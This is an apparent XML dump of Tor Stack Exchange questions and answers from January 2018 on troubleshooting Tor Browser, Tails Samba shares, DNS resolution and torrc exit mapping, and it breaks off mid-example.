  <row Id="16500" PostTypeId="2" ParentId="14885" CreationDate="2018-01-18T15:00:01.433" Score="1" Body="&lt;p&gt;I had the same issue and then I realized that I ignored the initial pop-up when starting Tor that suggests to move the downloaded &lt;code&gt;.dmg&lt;/code&gt; file to &lt;code&gt;Applications&lt;/code&gt; (just as @bradreaves recommends above &lt;a href=&quot;https://tor.stackexchange.com/questions/14885/the-proxy-server-is-refusing-connections#comment-16881&quot;&gt;in his comment&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ixasr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ixasr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just a note to myself, because the &lt;code&gt;.dmg&lt;/code&gt; file was already in &lt;code&gt;Applications&lt;/code&gt; when the above window popped up after double clicking the &lt;code&gt;.dmg&lt;/code&gt;: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Click on the Tor Browser icon in the above window&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Drag it in the Applications folder&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20715" LastEditorUserId="20715" LastEditDate="2018-04-17T20:39:09.657" LastActivityDate="2018-04-17T20:39:09.657" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16501" PostTypeId="1" AcceptedAnswerId="16502" CreationDate="2018-01-19T17:00:43.133" Score="0" ViewCount="617" Body="&lt;p&gt;I have a short question regarding name resolution using the tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is the name resolution not done by the proxy, but instead by the exit node?&#xA;The traffic is encrypted and anonymized either way.&#xA;It makes sense that the traffic is higher if it is done by the proxy, but is there also a security reason for this decision?&lt;/p&gt;&#xA;" OwnerUserId="20726" OwnerDisplayName="mius" LastEditorUserId="14997" LastEditDate="2018-06-16T22:17:33.487" LastActivityDate="2018-06-16T22:17:33.487" Title="DNS resolution on tor proxy" Tags="|dns|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16502" PostTypeId="2" ParentId="16501" CreationDate="2018-01-19T18:11:36.047" Score="0" Body="&lt;p&gt;If DNS was resolved at &quot;the proxy&quot; (I.E. the local client) then anyone watching the Tor clients internet connection could look at the DNS resolves that they were making at determine information about what the user was using Tor for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clearly, that would break Tor's protection. An adversary who can see your DNS logs can determine a lot about what you're doing on the internet and when.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By resolving at the exit Tor ensures that your DNS resolves are not linked directly to your identity, stopping a local adversary from discovering what you are using Tor for.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2018-01-19T18:11:36.047" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16503" PostTypeId="1" AcceptedAnswerId="16504" CreationDate="2018-01-20T07:54:55.227" Score="0" ViewCount="2953" Body="&lt;p&gt;&lt;strong&gt;Quick question:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to connect &lt;code&gt;Tails&lt;/code&gt; to a &lt;code&gt;Samba&lt;/code&gt;-based &lt;code&gt;shared-folder&lt;/code&gt; in the local network?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now the more difficult part is:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have to configure the &lt;code&gt;Samba&lt;/code&gt;-server for an access coming from &lt;code&gt;Tails&lt;/code&gt; in a special way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to connect to the exchange-folder in three different ways:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;smb://HOSTNAME&lt;/code&gt; without success.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Causing error: &quot;&lt;em&gt;Unable to access location. Failed to retrieve share list from server: Connection refused&lt;/em&gt;&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;smb://WORKGROUP/HOSTNAME&lt;/code&gt; without success.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Causing error: &quot;&lt;em&gt;Unable to access location. Failed to retrieve share list from server: Connection refused&lt;/em&gt;&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;smb://WORKGROUP/HOSTNAME/Exchange&lt;/code&gt; without success.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Causing error: &quot;&lt;em&gt;Unable to access location. Failed to mount Windows share: Invalid argument&lt;/em&gt;&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My current &lt;code&gt;/etc/samba/smb.conf&lt;/code&gt; configuration looks like that:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[global]&#xA;workgroup = WORKGROUP&#xA;server string = %h server (Samba, Ubuntu)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Exchange]&#xA;path = /home/user/Tails-Exchange&#xA;guest ok = yes&#xA;read only = yes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even if I set the &lt;code&gt;shared-folder&lt;/code&gt; to &lt;code&gt;public = yes&lt;/code&gt; and allow &lt;code&gt;guest ok = yes&lt;/code&gt;, I always get those errors.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Thank you very much for your ideas!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tails.boum.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tails&lt;/a&gt; = the amnesic incognito live system.&lt;/p&gt;&#xA;" OwnerUserId="20730" LastEditorUserId="20730" LastEditDate="2018-01-21T05:17:01.857" LastActivityDate="2018-01-21T05:17:01.857" Title="Tails: How to connect Tails to a Samba network-share?" Tags="|configuration|tails|debian|settings|persistent|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16504" PostTypeId="2" ParentId="16503" CreationDate="2018-01-20T20:11:51.793" Score="1" Body="&lt;p&gt;Yes, from the top bar of the desktop:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Applications&lt;/em&gt; -&gt; &lt;em&gt;Accessories&lt;/em&gt; -&gt; &lt;em&gt;Files&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the Files window, on the bookmarks bar on the left, scroll to the bottom of the list and select &lt;em&gt;Other Locations&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the bottom of the &lt;em&gt;Other Locations&lt;/em&gt; window it says &lt;em&gt;Connect To Server&lt;/em&gt;, there's a box next to it to type in a server address. Enter a server address, which would look something like this: &lt;em&gt;smb://192.168.1.2/SharedFolder/&lt;/em&gt; assuming the server is at &lt;em&gt;192.168.1.2&lt;/em&gt; and the shared folder is shared as &lt;em&gt;SharedFolder&lt;/em&gt;, then click &lt;em&gt;Connect&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will prompt you for credentials, if they're required otherwise it will default to guest/anonymous access then you'll be able to browse the network fileshare through the file browser.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2018-01-20T20:22:06.653" LastActivityDate="2018-01-20T20:22:06.653" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16505" PostTypeId="2" ParentId="3482" CreationDate="2018-01-21T01:39:17.870" Score="-1" Body="&lt;p&gt;In &lt;code&gt;about:config&lt;/code&gt; set &lt;code&gt;privacy.use_utc_timezone&lt;/code&gt; to &lt;code&gt;false&lt;/code&gt; it will use your computer's time zone.&lt;/p&gt;&#xA;" OwnerUserId="20728" LastEditorUserId="12737" LastEditDate="2018-01-21T02:32:37.290" LastActivityDate="2018-01-21T02:32:37.290" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16510" PostTypeId="1" CreationDate="2018-01-22T04:15:34.497" Score="0" ViewCount="973" Body="&lt;p&gt;Even when I'm not using Tor or any proxy, I can't connect check.torproject.org. The circular icon would turn and turn in the tab for several minutes, then the message below. Am I the only one with this problem? Meanwhile, I am able to connect to other sites without any problems. Using Tor or just a normal browser. Can I trust that I am using Tor even when unable to verify via check.torproject.org?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Firefox can’t establish a connection to the server at check.torproject.org.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   The site could be temporarily unavailable or too busy. Try again in a few moments.&#xA;&#xA;   If you are unable to load any pages, check your computer’s network connection.&#xA;&#xA;   If your computer or network is protected by a firewall or proxy, make sure that Tor Browser is permitted to access the Web.*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20749" LastActivityDate="2018-01-22T20:04:53.370" Title="Unable to connect to check.torproject.org" Tags="|torcheck|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16512" PostTypeId="2" ParentId="16510" CreationDate="2018-01-22T19:14:47.713" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://check.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://check.torproject.org/&lt;/a&gt; may be down temporarily due to a long list of reasons, ranging from DDoS attacks to a simple planned maintenance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disable DNS in your network settings and try to visit a Web site in .onion zone. If you can do that, you're using Tor.&lt;/p&gt;&#xA;" OwnerUserId="20755" LastActivityDate="2018-01-22T19:14:47.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16514" PostTypeId="1" CreationDate="2018-01-22T20:14:52.773" Score="0" ViewCount="214" Body="&lt;p&gt;Something weird appears when I click on Tow icon to open browser: an icon with binary numbers, a lock and an X appears. the icon's name is &quot;sedCh0n6k&quot;. What is it? I am using Ubuntu.&lt;/p&gt;&#xA;" OwnerUserId="20757" LastEditorUserId="31632" LastEditDate="2021-05-25T20:40:24.913" LastActivityDate="2021-05-25T20:40:24.913" Title="What is &quot;sedCh0n6k&quot;?" Tags="|tor-browser-bundle|help|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16515" PostTypeId="2" ParentId="16514" CreationDate="2018-01-22T22:00:02.627" Score="1" Body="&lt;p&gt;This is a temporary file left behind by the &lt;code&gt;sed&lt;/code&gt; command-line utility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sed&lt;/code&gt; describes itself as &lt;em&gt;&quot;a stream editor&quot;&lt;/em&gt;, saying &lt;em&gt;&quot;A stream editor is used to perform basic text transformations on an input stream (a file or input from  a  pipeline)&quot;&lt;/em&gt;. It's often used in shell scripts for searching and replacing text and similar operations on text files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sed&lt;/code&gt; is used in a few places in the &lt;code&gt;start-tor-browser&lt;/code&gt; shell script which sets up the environment for Tor Browser to run properly before launching &lt;code&gt;firefox&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally &lt;code&gt;sed&lt;/code&gt; should be cleaning this up after it has finished processing the file by renaming it to the original file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ echo 'foo' &amp;gt; test # create a simple text file&#xA;$ strace -e open,rename sed -i 's/foo/bar/' test # trace the calls to 'open' and 'rename' that sed makes&#xA;[ ... unimportant syscalls ... ]&#xA;open(&quot;test&quot;, O_RDONLY)                  = 3&#xA;open(&quot;./sed2WewTJ&quot;, O_RDWR|O_CREAT|O_EXCL, 0600) = 4&#xA;rename(&quot;./sed2WewTJ&quot;, &quot;test&quot;)           = 0&#xA;+++ exited with 0 +++&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sed&lt;/code&gt; created a new file called &lt;code&gt;sed2WewTJ&lt;/code&gt; (the prefix being &lt;code&gt;sed&lt;/code&gt; and the suffix &lt;code&gt;2WewTJ&lt;/code&gt; being random) then once it's done operating on the file it renames the file to &lt;code&gt;test&lt;/code&gt; to replace the original file with the newly edited file, to avoid directly operating on the original file.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2018-01-22T22:00:02.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16520" PostTypeId="2" ParentId="13685" CreationDate="2018-01-24T03:26:09.423" Score="0" Body="&lt;p&gt;Open Internet Download Manager (IDM) and go to &lt;code&gt;Downloads -&amp;gt; Options -&amp;gt;&lt;/code&gt; and navigate to &lt;code&gt;File types&lt;/code&gt; tab&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find&#xA;&lt;code&gt;Don't start downloading automatically from the following sites:&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and add &lt;code&gt;*.onion&lt;/code&gt; to the sites list.&#xA;&lt;strong&gt;I'm not 100% sure if this can prevent leak DNS problem.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDM Support team suggested me this method.&lt;/p&gt;&#xA;" OwnerUserId="19775" LastActivityDate="2018-01-24T03:26:09.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16522" PostTypeId="1" AcceptedAnswerId="16523" CreationDate="2018-01-24T07:22:27.567" Score="0" ViewCount="987" Body="&lt;p&gt;Tor said that an update was available, ran that and all seemed ok.&#xA;When I click on the icon to run Tor I get: &quot;Unable to start Tor. Failed to get hashed password.&quot;&lt;/p&gt;&#xA;" OwnerUserId="20768" LastActivityDate="2018-01-24T07:57:46.683" Title="Unable to start Tor" Tags="|error|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16523" PostTypeId="2" ParentId="16522" CreationDate="2018-01-24T07:57:46.683" Score="0" Body="&lt;p&gt;I had the same problem.  I made a copy of my bookmarkbackups folder, deleted the tor browser folder and did a clean install of tor 7.5 and then it would  start and immediately crash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I deleted the tor browser folder again and installed Version 7.0.10 and turned off automatic updating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Win 10x64 pro Version 18299.192&lt;/p&gt;&#xA;" OwnerUserId="16103" LastActivityDate="2018-01-24T07:57:46.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16524" PostTypeId="1" CreationDate="2018-01-24T08:04:45.687" Score="0" ViewCount="2680" Body="&lt;p&gt;Tor auto updated. Then when opened it I got: &quot;Unable to start Tor. Failed to get hashed password.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a copy of my bookmarkbackups folder, deleted the tor browser folder and did a clean install of tor 7.5 and then it would start and immediately crash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I deleted the tor browser folder again and installed Version 7.0.10 and turned off automatic updating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Win 10x64 pro Version 18299.192&lt;/p&gt;&#xA;" OwnerUserId="16103" LastActivityDate="2022-04-06T16:06:45.640" Title="TOR 7.5 starts then immediately crashes windows 10" Tags="|error|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16526" PostTypeId="1" CreationDate="2018-01-24T14:09:19.597" Score="1" ViewCount="748" Body="&lt;p&gt;I would like to connect to remote host using Remote Powershell. I would like to connect to remote host using anonymous IP. Can I force Powershell connection to traverse Tor Network?&lt;/p&gt;&#xA;" OwnerUserId="20773" LastActivityDate="2018-01-24T14:09:19.597" Title="Can I force Powershell to use Tor network?" Tags="|network-configuration|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16530" PostTypeId="1" CreationDate="2018-01-24T20:22:43.033" Score="0" ViewCount="1815" Body="&lt;p&gt;It says &quot;Tor failed to establish a Tor network connection.  Connecting to a relay directory failed (insufficient resources 77.247.181.164:443) &quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there a solution to this?  thanks!&lt;/p&gt;&#xA;" OwnerUserId="20779" LastActivityDate="2018-01-29T19:45:08.557" Title="Tor can't connect to my internet" Tags="|connection|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16531" PostTypeId="2" ParentId="16530" CreationDate="2018-01-24T21:26:01.713" Score="-2" Body="&lt;p&gt;ISP maybe blocking. Try with a Free VPN running. &lt;/p&gt;&#xA;" OwnerUserId="20780" LastActivityDate="2018-01-24T21:26:01.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16536" PostTypeId="1" CreationDate="2018-01-25T08:15:04.023" Score="0" ViewCount="166" Body="&lt;p&gt;I have used the below code from link to detect the browser is TOR or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/28200567/can-i-detect-tor-browser-inside-the-browser-itself-via-javascript-i-suppose/28201039#28201039&quot;&gt;Code&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when the server is hosted on AWS, we didn't get the exact $_SERVER['SERVER_ADDR'] as the AWS is providing the private ip of machine or load balancer ips.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there any way to detect the AWS private ips from the TOR exit list to detect whether the user is using the TOR browser or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this code, &lt;strong&gt;gethostbyname($user_ip.&quot;.&quot;.$_SERVER['SERVER_PORT'].&quot;.&quot;.$_SER‌​VER['SERVER_ADDR'].&quot;‌​.ip-port.exitlist.to‌​rproject.org&quot;)==&quot;127‌​.0.0.2&quot;&lt;/strong&gt; , I did the &lt;strong&gt;$_SERVER['SERVER_ADDR']&lt;/strong&gt; to static public ip of AWS server and $user_ip to &lt;strong&gt;$_SERVER['HTTP_X_FORWARDED_FOR ']&lt;/strong&gt; and code worked, but if I put actual private IP in the &lt;strong&gt;$_SERVER['SERVER_ADDR']&lt;/strong&gt; variable provided by AWS, code is not working. &lt;/p&gt;&#xA;" OwnerUserId="20787" LastActivityDate="2018-12-22T05:03:10.673" Title="How to detect user using the TOR broswer using private/load balancer ips of AWS" Tags="|exit-relays|private|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16537" PostTypeId="2" ParentId="13011" CreationDate="2018-01-25T10:53:09.890" Score="0" Body="&lt;p&gt;While for me accessing craigslist.org works using Tor Browser now, in cases of webservices that completely block Tor, you can only find a proxy you connect to &lt;em&gt;first&lt;/em&gt;, that connects to the website then on your behalf. A simple test would be to search at startpage.com and use their &quot;proxy&quot; Link at your search result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You other option would be to contact the website technical staff and discuss better (or, &quot;actual&quot;) security measures than blocking traffic from the Tor network. Malicious traffic is everywhere, by far not only at Tor Exit Relays. If they block everything, they don't exists anymore, so...&lt;/p&gt;&#xA;" OwnerUserId="19124" LastActivityDate="2018-01-25T10:53:09.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16538" PostTypeId="2" ParentId="16468" CreationDate="2018-01-25T11:11:09.357" Score="0" Body="&lt;p&gt;Let's assume we don't want to sacrifice safety. Then the only options to seed up Tor (for everybody) are&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;run a fast relay&lt;/li&gt;&#xA;&lt;li&gt;donate to organisations that run relays&lt;/li&gt;&#xA;&lt;li&gt;advertise running fast relays at ISPs, universities, wherever&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If your ISP blocks or throttles traffic to the Tor network, that's really unrelated to speeding up Tor. That's exactly what Tor Bridges are there for. Just run/rent/use a Bridge Relay that is itself fast enough for you. Don't change Tor's relay path selection in any way other than using fast bridges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't have to use pluggable transports like obfs3 or obfs4. Using a bridge relay your ISP doesn't know of should be enough.&lt;/p&gt;&#xA;" OwnerUserId="19124" LastActivityDate="2018-01-25T11:11:09.357" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16541" PostTypeId="2" ParentId="16191" CreationDate="2018-01-25T14:45:24.087" Score="0" Body="&lt;p&gt;The problem was quite simple.&#xA;I am using Ubuntu but I built it using the make while there are different build instructions for Debian.&lt;/p&gt;&#xA;" OwnerUserId="19551" LastActivityDate="2018-01-25T14:45:24.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16543" PostTypeId="2" ParentId="16536" CreationDate="2018-01-25T22:53:25.570" Score="1" Body="&lt;p&gt;There are a few things going wrong here.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You're not reversing the IP octets, so if this ever was &quot;working&quot; it only looked like it was.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You're using &lt;code&gt;X-Forwarded-For&lt;/code&gt; which can be defined, arbirarily, by the client so this isn't trustworthy. A user can edit this header to trick your script into thinking that either they are using Tor when they're not or they're not using Tor when they are.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The code that you linked includes a &lt;code&gt;ReverseIPOctets&lt;/code&gt; function, which is wrapped around the server and client IP addresses but any such functionality is not present in your above script which means it's checking the wrong IPs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A private IP address will never work, it must be the public IP address. Tor Exits can only send traffic to public IP addresses so Tor DNSEL can only check against those. Private IP addresses are routed to &lt;em&gt;after&lt;/em&gt; it's reached it's public destination is something that can't be accounted for, it must be checking it's public, internet routable IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another method would be to use the &lt;a href=&quot;https://check.torproject.org/cgi-bin/TorBulkExitList.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor bulk exit list&lt;/a&gt;, which you'd need to update regularly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that none of these will determine if a user is using Tor Browser, simply that they are &lt;em&gt;probably&lt;/em&gt; using Tor. These methods are heuristic and subject to false-negatives and false-positives.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2018-01-25T22:53:25.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16548" PostTypeId="1" CreationDate="2018-01-26T04:58:23.487" Score="1" ViewCount="655" Body="&lt;p&gt;Does a person using an unrooted Android device have any options to successfully monitor and even restrict all network access; and have assurance that they are properly configured so that any allowed connections are routed through the Orbot/Orfox bundle? [LG K20: Android 7.0] Thank You!&lt;/p&gt;&#xA;" OwnerUserId="20727" LastActivityDate="2018-11-23T16:16:12.450" Title="Is it possible to monitor/block ALL network activity while using Orbot/Orfox on an unrooted phone?" Tags="|tor-browser-bundle|configuration|android|firewall|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16550" PostTypeId="2" ParentId="16530" CreationDate="2018-01-26T11:15:09.457" Score="1" Body="&lt;p&gt;I found out that I hadn't burrowed deep enough into the Tor browser folders but when i did i found the tor.exe file which i then gave access through my firewall and, voila, Tor Browser works fine. I hope the OP and others find this helpful.&lt;/p&gt;&#xA;" OwnerUserId="20808" LastEditorUserId="71" LastEditDate="2018-01-29T19:45:08.557" LastActivityDate="2018-01-29T19:45:08.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16552" PostTypeId="2" ParentId="16524" CreationDate="2018-01-26T20:18:37.143" Score="0" Body="&lt;p&gt;It was indeed my anti-virus software. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After running into the &quot;blank screen never loading&quot; problem with FF58 which requires one to disable identity protection I came back to this to find Webroot was blocking libssp-0.dll.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply changing it to protected fixed the issue. (Unlike FF58 where you must allow them to &quot;extract personal information without your knowledge&quot;)&lt;/p&gt;&#xA;" OwnerUserId="16103" LastActivityDate="2018-01-26T20:18:37.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16553" PostTypeId="1" CreationDate="2018-01-26T20:32:33.457" Score="1" ViewCount="315" Body="&lt;p&gt;I was using the AllowDotExit option to make two simultaneous requests to www.example.net with two different exit nodes. How can I achieve this now because AllowDotExit was removed.&lt;/p&gt;&#xA;" OwnerUserId="20815" LastEditorUserId="20815" LastEditDate="2018-01-27T18:34:56.827" LastActivityDate="2019-04-23T11:03:30.740" Title="AllowDotExit is depracted. What's next?" Tags="|configuration|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16554" PostTypeId="1" CreationDate="2018-01-26T22:15:42.577" Score="18" ViewCount="49998" Body="&lt;p&gt;As the title says, I've been trying to use Tor as a proxy for Postman and I'm getting the following response when I try to make a request to a specific endpoint that &lt;strong&gt;does not support HTTPS&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&#xA;      &#xA;          This is a SOCKS Proxy, Not An HTTP Proxy&#xA;      &#xA;      &#xA;          &lt;h1&gt;This is a SOCKs proxy, not an HTTP proxy.&lt;/h1&gt;&#xA;          &lt;p&gt;&#xA;  It appears you have configured your web browser to use this Tor port as&#xA;  an HTTP proxy.&#xA;  &lt;/p&gt;&#xA;          &lt;p&gt;&#xA;  This is not correct: This port is configured as a SOCKS proxy, not&#xA;  an HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPort&#xA;  configuration option in place of, or in addition to, SOCKSPort.&#xA;  Please configure your client accordingly.&#xA;  &lt;/p&gt;&#xA;          &lt;p&gt;&#xA;  See &#xA;              &lt;a href=&quot;https://www.torproject.org/documentation.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;a href=&quot;https://www.torproject.org/documentation.html&quot; rel=&quot;noreferrer&quot;&gt;https://www.torproject.org/documentation.html&lt;/a&gt;&lt;/a&gt; for more information.&#xA;          &lt;/p&gt;&#xA;      &#xA;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But the thing is, when I use the Tor &lt;strong&gt;browser&lt;/strong&gt;, I can visit the same site just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what is the browser doing different than my &quot;tor.exe&quot; proxy? Are there any ways around this?&lt;/p&gt;&#xA;" OwnerUserId="20817" LastEditorUserId="24993" LastEditDate="2019-02-10T19:59:43.117" LastActivityDate="2019-04-25T02:28:33.013" Title="&quot;This is a SOCKS Proxy, Not An HTTP Proxy&quot;" Tags="|tor-browser-bundle|proxy|socks|https|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16556" PostTypeId="2" ParentId="16548" CreationDate="2018-01-27T01:49:59.693" Score="1" Body="&lt;p&gt;The only approach to this is to use something like a &quot;no-root&quot; firewall. A &quot;no-root&quot; firewall uses the same principle as the Orbot VPN mode, except it uses it's position to deny connections to specific apps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this way, you could deny connections to all apps, except for Orbot effectively only allowing apps that can locally talk to Orbot be able to reach the internet, through Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would require that the apps are natively capable of utilising either an HTTP or SOCKS proxy and it has limitations, specifically ones that OrWall attempts to prevent. For example, the VPN might not be active during boot or before Orbot starts, which is why part of the OrWall design is to insert and init script to stop connections happening before the app can initialize and reconfigure the users iptables settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there isn't something that is &lt;em&gt;equivalent&lt;/em&gt; to OrWall without root, the closest solution would be some kind of &quot;no-root&quot; firewall.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2018-01-27T01:49:59.693" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16560" PostTypeId="2" ParentId="16553" CreationDate="2018-01-27T22:41:19.100" Score="1" Body="&lt;p&gt;Configure two tor instances, using &lt;code&gt;MapAddress&lt;/code&gt; to bind them to specific exit, rather than the dangerous, and thankfully gone, &lt;code&gt;AllowDotExit&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# cat torrc-1 &amp;amp;&amp;amp; tor -f torrc-1 &amp;amp;&amp;amp; cat torrc-2 &amp;amp;&amp;amp; tor -f torrc-2&#xA;SocksPort 9150&#xA;MapAddress check.torproject.org check.torproject.org.0593F5255316748247EBA76353A3A61F62224903.exit&#xA;RunAsDaemon 1&#xA;DataDirectory /tmp/tor&#xA;User nobody&#xA;Jan 27 22:34:24.453 [notice] Tor 0.3.2.9 (git-64a719dd25a21acb) running on Linux with Libevent 2.0.21-stable, OpenSSL 1.0.2g, Zlib 1.2.8, Liblzma 5.1.0alpha, and Libzstd N/A.&#xA;Jan 27 22:34:24.453 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Jan 27 22:34:24.454 [notice] Read configuration file &quot;/tmp/torrc-1&quot;.&#xA;Jan 27 22:34:24.460 [notice] Scheduler type KIST has been enabled.&#xA;Jan 